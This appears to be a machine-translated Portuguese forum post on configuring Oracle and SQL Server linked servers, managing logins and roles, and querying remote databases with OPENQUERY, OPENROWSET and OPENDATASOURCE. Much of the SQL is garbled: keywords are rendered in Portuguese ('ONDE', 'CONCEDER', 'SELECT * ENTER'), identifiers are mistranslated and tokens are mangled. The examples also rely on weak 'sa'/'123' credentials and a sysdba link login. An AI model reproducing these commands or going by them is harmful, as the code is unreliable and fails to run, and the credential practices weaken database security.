9i cliente. Suponha que instale no diretório C:\ora92i\. Se D: for uma partição NTFS, você precisa definir o diretório instalado do ORACLE como o usado

Assinantes têm o direito de executar, adicionar e excluir.


2)
Configure o arquivo C:\ora92i\network\ADMIN\tnsnames.ora. (O texto vermelho a seguir é um exemplo de configuração)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ENDEREÇO = (PROTOCOLO = TCP)(HOST = 192.168.0.11)(PORTA= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Execute o comando a seguir no modo DOS para confirmar que o cliente ORACLE está instalado corretamente.


Usuário/password@ORCL SQL Plus


4)
Abrir Start - Painel de Controle - Serviços e confirmar que o serviço de Coordenador de Transações Distribuídas foi iniciado.



5) Abrir SQL SERVER Management Studio, Nome da Instância (ORCL) - Objeto do Servidor (clique direito) - Novo Servidor de Conexão.


1.      


Servidor de link: Escreva o nome do servidor linkado, como OracleTest


2.         
Tipo de servidor, selecione uma fonte de dados diferente


3. Interface de acesso:
Selecione o Provedor Oracle para OLE DB


4. Nome do Produto: Write Oracle


5. Fonte dos dados: Relatório

O nome do serviço configurado no arquivo tnsnames.ora, como ORCL


6.         
String da interface de acesso: userid=sys como sysdba; senha=senha


7.         
Na página Selecionar Opções de Segurança, use este contexto de instalação para estabelecer uma conexão:


a) Login Remoto: usuário (outro usuário, não sys)


b)      

    Use senha: senha


8. Defina "NT AUTHORITY\SYSTEM" no login local, sistemas de usuário remoto e defina a senha


9.

         Tem certeza


6) Existem duas maneiras de escrever SQL


a) Uso da sintaxe T-SQL:


           SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS


           Note que, ao inserir instruções SQL no SQL Query Analyzer, preste atenção à troca chinesa de largura total e meia-largura

Way!


b) Usar a sintaxe PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) O segundo método de acesso é cerca de 50% mais rápido que o primeiro; O segundo método de acesso está diretamente conectado

ORACLE é comparável; O primeiro método de acesso pode levar a alguns erros inesperados, como:
           A tabela não existe, nem o usuário atual

Não há acesso à mesa, e assim por diante.


           d) Se a coluna que precisa ser acessada usa tipos de dados sem precisão, ambos

Esse é um bug do ORACLE que não pode ser corrigido, e só pode ser evitado por meio de um tratamento especial das instruções de consulta:


     Os metadados fornecidos pelo provedor OLE DB 'OraOLEDB.Oracle' para as colunas são inconsistentes. As informações de metadados são alteradas na execução.










MSSQL adicionou

Exclua o usuário e conceda permissões


Use o nome da sua biblioteca   
Vai   
--Adicionar usuários   
Exec sp_addlogin 'teste' -- adicionar login   
Executivo

sp_grantdbaccess N'test' - tornando-o um usuário legítimo do banco de dados atual   
executivo sp_addrolemember N'db_owner',

N'test' - concede todas as permissões para seu próprio banco de dados   
--Isso cria usuários que só podem acessar seu próprio banco de dados e o que está incluído nele

Tabela pública para usuários convidados   
Vai   
--Remover usuário de teste   
exec sp_revokedbaccess N'test' -- Remover o acesso ao banco de dados

Limite   
exec sp_droplogin N'test' -- delete login   
Se você criar no Enterprise Manager, use:   
Gerente Empresarial - Segurança

Sexo --Clique direito Login--Novo Login   
Itens gerais   
--Insira o nome de usuário no nome   

--O método de autenticação é selecionado de acordo com suas necessidades (se você estiver usando autenticação do Windows, precisa criar um novo usuário entre os usuários do sistema operacional primeiro)   

--Nas configurações padrão, selecione o nome do banco de dados que deseja acessar para o novo usuário   
Item de papel do servidor   
Não escolha nada disso   
base de dados

Item de acesso   
Verifique o nome do banco de dados que você deseja acessar para o usuário que criou   
Permita a função de banco de dados, marque "público", "db_ownew"   
Claro, isso

O usuário criado pela amostra é o mesmo que o usuário criado pela afirmação acima   



O último passo é definir permissões de acesso específicas para usuários específicos, que podem ser referidas ao seguinte exemplo mínimo:   

--Adicionar usuários que só podem acessar a tabela especificada:   
O sp_addlogin executivo 'nome de usuário', 'senha', 'nome padrão do banco de dados'   

--adicionar ao banco de dados   
Exec sp_grantdbaccess 'Nome de Usuário'   

--Atribuir permissões de tabelas inteiras   
CONCEDER SELECT , INSERT , UPDATE , DELETE NA TABELA 1 PARA [nome de usuário]   
--Atribuir permissões a colunas específicas   
CONCEDER SELEÇÃO , ATUALIZAR NA tabela1(id,AA) para [nome de usuário]   


Para configurações específicas de segurança e conhecimento teórico, consulte a Ajuda Online do SQL  







Descrição fixa do papel do banco de dados   
  db_owner Ter permissões completas no banco de dados.   

db_accessadmin Você pode adicionar ou remover IDs de usuário.   

db_securityadmin Pode gerenciar permissões completas, propriedade de objetos, papéis e membros de papéis.   

db_ddladmin pode emitir TODOS os DDLs, mas não declarações CONCEDER, REVOGAR ou NEGAR.   

db_backupoperator pode emitir instruções DBCC, CHECKPOINT e BACKUP.   

db_datareader Você pode selecionar todos os dados de qualquer tabela de usuário no banco de dados.   

db_datawriter Você pode alterar todos os dados em qualquer tabela de usuário no banco de dados.   

db_denydatareader Você não pode selecionar nenhum dado de nenhuma tabela de usuário no banco de dados.   

db_denydatawriter Você não pode alterar nenhum dado em nenhuma tabela de usuário no banco de dados.  





Você deve escolher db_datareader, db_datawriter db_accessadmin




5.
Após a instância do SQL Server ser iniciada no modo de usuário único, a conta de administrador do Windows pode usar a ferramenta sqlcmd para se conectar no modo de autenticação do Windows

SQL Server。 Você pode usar comandos T-SQL como "sp_addsrvrolemember" para adicionar um login existente ao papel de servidor sysadmin

Ou criar uma nova conta de login.
Um exemplo de afirmação é o seguinte:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


VAI


Adicionar um privilégio de administrador de sistemas








(1) Gerenciar funções de servidor


No SQL Server, existem dois principais procedimentos armazenados que implementam o gerenciamento de funções do SQL Server:


sp_addsrvrolemember

e sp_dropsrvrolemember


sp_addsrvrolemember
Você pode adicionar uma conta de login a um papel de servidor para torná-lo membro desse papel de servidor. A sintaxe é a seguinte:
sp_addsrvrolemember

login , função


sp_dropsrvrolemember
Você pode excluir uma conta de login de um papel de servidor e, quando o membro é removido do papel de servidor, ele não tem mais esse papel de servidor

As permissões definidas. A sintaxe é a seguinte:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'papel'


a partir daí

@loginname é o nome do usuário logado; @rolename é um cargo de garçom.




(2) Gerenciar funções em bancos de dados


No SQL Server, o gerenciamento de banco de dados é suportado

Existem seis tipos principais de procedimentos armazenados, e seus significados e sintaxe específicos são os seguintes:


sp_addrole: Usado para criar um novo papel de banco de dados;
sp_addrole

Função, dono


sp_droprole: Usado para remover um papel de banco de dados do papel atual no banco de dados;
sp_droprole papel


sp_helprole:

É usado para exibir todas as informações sobre todos os papéis do banco de dados atual;
sp_helprole ['papel']


sp_addrolemember: Usado para enviar ao banco de dados

Adicionar usuários de banco de dados a um papel, que pode ser papéis padrão definidos pelo usuário ou papéis fixos de banco de dados, mas não pode ser

Vagas de candidatura.
sp_addrolemember papel, security_account


sp_droprolemember: Usado para deletar um certo personagem

residência;
sp_droprolemember papel, security_account


sp_helprolemember: Usado para exibir todos os membros de um papel de banco de dados


sp_helprolemember ['papel']






Consulta do LINKSERVER MSSQL


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Data: 2010-06-25 22:23:18
-- Versão: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 de julho de 2008 14:43:34
-- Direitos autorais (c) 1988-2008 Microsoft Corporation
--

Developer Edition no Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Assunto:
Operações de dados SQL entre diferentes bancos de dados de servidores
----------------------------------------------------------------------------------
--1.
Crie um servidor de links
--1.1 Criar um nome de link
EXEC sp_addlinkedserver 'LinkName','''SQLOLEDB', o nome do servidor remoto

ou endereço IP' --
Se você tem um nome de instância personalizado, adicione "\nome da instância"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Crie um login (ou crie um mapa de login no servidor de links) (basta escolher um jeito)
--1.2.1
Faça login com autenticação do Windows
EXECUTIVO sp_addlinkedsrvlogin 'LinkName'
--ou EXEC sp_addlinkedsrvlogin 'LinkName', 'verdadeiro'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Faça login com autenticação SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */
--2.
Operações de dados relacionadas a servidores de enlace
--2.1 Exemplo de consulta
SELECT * FROM LinkName.database nome.nome do esquema.nome da tabela
/*例如:SELECT *

DE TonyLink.Mydb.dbo.tb */
--
2.2 Exemplo de importação
SELECT * ENTER nome da tabela DE LinkNome.banco de dados.nome do esquema nome da tabela
/*例如:SELECT * INTO Newtb

DE TonyLink.Mydb.dbo.tb */
--
2.3 Exemplo de atualização
ATUALIZAÇÃO LinkNome.Nome do Banco de Dados.Nome do Esquema.Nome da Tabela SET campo='valor' ONDE campo='condição'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Pessoas='g' ONDE Pessoas='a' */
--
2.4 Excluir exemplos
DELETE NomeLink.Nome do Banco de Dados.Nome do Esquema.Nome da Tabela ONDE nome do campo='condição'
/*例如:DELETE

TonyLink.Mydb.dbo.tb ONDE Pessoas='g' */
--3 via função de rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Método
-
3.1 Método OPENQUERY (requer a ajuda do servidor de links que você acabou de criar):
--
3.1.1 Exemplo de consulta
SELECIONE * DO OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/*
Por exemplo: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Exemplos de importação
--3.1.2.1 Importar todas as colunas
INSERIR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da tabela

') SELECT * FROM tabela local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DE TB */
--3.1.2.2
Importar as colunas especificadas
INSERIR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da Tabela') (coluna, counha...)
coluna SELECT,

Coluna... DE tabela local
/*
Por exemplo: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
SELECIONAR

VARIEDADE, NÍVEL, Pessoas de TB
*/
--3.1.3
Exemplos de atualização
ATUALIZAR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. nome da tabela') campo SET = 'valor' palavra WHERE

Segmento = 'Condição'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Pessoas='a' */
--3.1.4
Excluir exemplos
DELETE OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. nome da tabela') ONDE nome do campo='condição'
/*例

Por exemplo: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
Método OPENROWSET (você não precisa usar o nome do link criado.) Se o nome da instância conectada não for o padrão, você precisa defini-lo no nome do servidor SQL ou endereço IP.

"\nome da instância")
--3.2.1 Exemplo de consulta
--3.2.1.1
Consulta ao método de autenticação do Windows (um dos métodos a seguir é suficiente)
SELECIONE * DE OPENROWSET('SQLOLEDB', 'servidor=nome do servidor sql ou

endereço IP; Trusted_Connection=sim', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECIONE * DO OPENROWSET('SQLNCLI',

'server=nome ou endereço IP do servidor SQL; Trusted_Connection=sim', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECT * FROM

OPENROWSET('SQLOLEDB', 'server=nome ou endereço IP do servidor sql; Trusted_Connection=sim','SELECT * DO banco de dados

Nome. Nome da arquitetura. Nome da Tabela')
SELECIONE * DO OPENROWSET('SQLNCLI', 'servidor=nome do servidor SQL ou endereço IP

Endereço; Trusted_Connection=sim','SELECT * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/*
Por exemplo: SELECT * DO OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim',Mydb.dbo.tb)

Ou: SELECT * DO OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim',Mydb.dbo.tb)

Ou: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim','SELECT *

DE Mydb.dbo.tb')

Ou: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim','SELECT *

DE Mydb.dbo.tb')
*/
--3.2.1.2 Consulta do Método de Autenticação SQL (Um dos métodos a seguir é suficiente)
SELECT * DO OPENROWSET

('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECT * FROM

OPENROWSET('SQLNCLI', 'server=nome ou endereço IP do servidor sql; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECIONE * DE OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; pwd=senha','SELECT *

Nome do banco de dados FROM. Nome da arquitetura. Nome da Tabela')
SELECIONE * DE OPENROWSET('SQLNCLI', 'servidor=nome ou endereço IP do servidor SQL; UID=

Nome de usuário; pwd=senha', 'SELECT * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
SELECIONE * A PARTIR DE OPENROWSET('SQLOLEDB', 'SQL

nome do servidor'; 'nome de usuário'; 'senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECIONE * DO OPENROWSET('SQLNCLI', 'NOME DO SERVIDOR SQL)

'; 'nome de usuário'; 'senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECIONE * DO OPENROWSET('SQLOLEDB', 'NOME DO SERVIDOR SQL'; ' usuário

nome'; 'Senha', 'SELECIONAR * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER

nome'; 'nome de usuário'; 'Senha', 'SELECIONAR * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ou: SELECT * DO OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ou: SELECT * DO OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

ou: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

ou: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

ou: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

ou: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')

ou: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Exemplo de importação
--3.2.2.1 Importar todas as colunas
INSERIR OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor sql

Endereço; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
SELECT * FROM tabela local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECT * FROM TB
*/
--3.2.2.2 Importação

Especificar colunas
INSIRA OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Rack

Nome do construto. Nome da tabela) (coluna, coluna...)
Coluna SELECT, coun... DE tabela local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(VARIEDADE, NÍVEL, Pessoas)
SELECIONAR

VARIEDADE, NÍVEL, Pessoas de TB
*/
--Nota: Para métodos alternativos, consulte o exemplo da consulta .2.1, basta substituir a função OPENROWSET

O conteúdo é suficiente.
--3.2.3 Exemplo de atualização
ATUALIZE OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário

;p wd=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela)
Campo SET = 'valor'
ONDE campo = 'condição'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Pessoas='g'
ONDE Pessoas='a'
*/
--Nota: Para métodos alternativos, consulte o exemplo da consulta .2.1, basta substituir o conteúdo no OPENROWSET.
--3.2.4 Exclua a indicação

Exemplo
DELETE OPENROWSET('SQLOLEDB', 'server=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome do esquema

.nome da tabela)
ONDE nome do campo='condição'
/*
Por exemplo: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
ONDE

Pessoas='g'
*/
--Nota:
Para mais métodos alternativos, veja o exemplo da consulta .2.1, basta substituir o conteúdo no OPENROWSET.
--3.3 Método OPENDATASOURCE

(Você não precisa usar o nome do link criado.) Se o nome da instância da conexão não for o padrão, você precisa adicionar \nome de instância após o nome do servidor SQL ou endereço IP

")
--3.3.1
Exemplo de consulta
--3.3.1.1 Consulta do Método de Autenticação do Windows (Um dos seguintes métodos é suficiente)
SELECIONE * DO OPENDATASOURCE('SQLOLEDB',

'server=nome ou endereço IP do servidor SQL; Trusted_Connection=sim'). Nome do banco de dados. Nome da arquitetura. Nome da tabela
SELECT * FROM

OPENDATASOURCE('SQLNCLI', 'server=nome ou endereço IP do servidor sql; Trusted_Connection=sim'). Nome do banco de dados. Nome da arquitetura.

Nome da tabela
/*
Por exemplo: SELECT * DO OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim'). Mydb.dbo.tb

Ou: SELECIONE * DO OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim'). Mydb.dbo.tb
*/
--3.3.1.2
Consulta de métodos de autenticação SQL (um dos métodos a seguir é suficiente)
SELECIONE * DE OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou

endereço IP; uid=nome de usuário; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
SELECIONE * DO OPENDATASOURCE('SQLNCLI', 'servidor=nome ou endereço IP do servidor SQL; uid=usuário

Nome; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
SELECIONE * DO OPENDATASOURCE('SQLOLEDB', 'Data Source=nome ou endereço IP do servidor sql

Endereço; uid=nome de usuário; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
SELECIONE * DO OPENDATASOURCE('SQLNCLI', 'Data Source=nome ou endereço IP do servidor sql

Endereço; uid=nome de usuário; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ou: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ou: SELECIONE * DO OPENDATASOURCE('SQLOLEDB','DADOS

Fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ou: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importar todas as colunas
INSIRA OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou endereço IP; uid=nome de usuário; pwd=senha').

De acordo com o nome da biblioteca. Nome da arquitetura. Nome da tabela
SELECT * FROM tabela local
/*
Por exemplo: INSIRA OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SELECIONAR

* DE TB
*/
--3.3.2.2
Importar as colunas especificadas
INSIRA OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou endereço IP; uid=nome de usuário; pwd=senha').

De acordo com o nome da biblioteca. Nome da arquitetura. Nome da tabela (coluna, coluna...)
Coluna SELECT, coun... DE tabela local
/*
Por exemplo: INSIRA OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ALCANCE, NÍVEL, Pessoas)
SELECIONE ALCANCE, NÍVEL, Pessoas DE TB
*/
--Nota:
Para métodos alternativos, veja o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE).
--Exemplo de atualização 3.3.3
ATUALIZAR OPENDATASOURCE('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
Campo SET = 'valor'
ONDE campo = 'condição'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Pessoas='g'
ONDE Pessoas='a'
*/
--Nota:
Para métodos alternativos, veja o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE).
--3.3.4 Excluir exemplo
DELETE OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor sql ou endereço IP; uid=nome de usuário; pwd=senha').
Nome do banco de dados. Nome da arquitetura. Nome da tabela
ONDE nome do campo='condição'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ONDE Pessoas = 'g'
*/
- Nota: Mais alternativas

Consulte o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE).
--
Exclua o método do servidor vinculado
--Se você não usar mais as informações do link no futuro, pode deletar as informações do link
--4.1
Exclua as informações de login (ou exclua o mapa de nomes de login do servidor vinculado)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Por exemplo: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Exclua o nome do servidor vinculado
EXEC sp_dropserver 'LinkName', 'droplogins' — se droplogins forem especificados,
O mapa de login deve ser excluído antes de excluir o servidor vinculado
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Anexado


Como obter o Nome do Provedor (EXEC master). xp_enum_oledb_providers)
SELECT CAST ([Nome do Provedor] COMO

VARCHAR(30)) NomeProvedor,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DE

OPENROWSET(
'SQLOLEDB',
'Servidor=.; Trusted_Connection=sim',
'INICIE O PRIMEIRO MOMENTO;
EXECUTIVO

Mestre... xp_enum_oledb_providers'
)




Anterior:Detalhes do processo de gerenciamento de vulnerabilidades e recompensas do UCloud
Próximo:Posso pegar um trem para casa hoje, e não estou em casa há mais de meio ano
Publicado em 27/09/2017 17:43:11 |
Muito detalhado. Obrigado
 Senhorio| Publicado em 17/06/2023 11:12:11 |
Teste testes de injeção SQL com a ferramenta de infiltração SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Disclaimer:
Todo software, material de programação ou artigos publicados pela Code Farmer Network são apenas para fins de aprendizado e pesquisa; O conteúdo acima não deve ser usado para fins comerciais ou ilegais, caso contrário, os usuários terão todas as consequências. As informações deste site vêm da Internet, e disputas de direitos autorais não têm nada a ver com este site. Você deve deletar completamente o conteúdo acima do seu computador em até 24 horas após o download. Se você gosta do programa, por favor, apoie um software genuíno, compre o registro e obtenha serviços genuínos melhores. Se houver qualquer infração, por favor, entre em contato conosco por e-mail.

Mail To:help@itsvse.com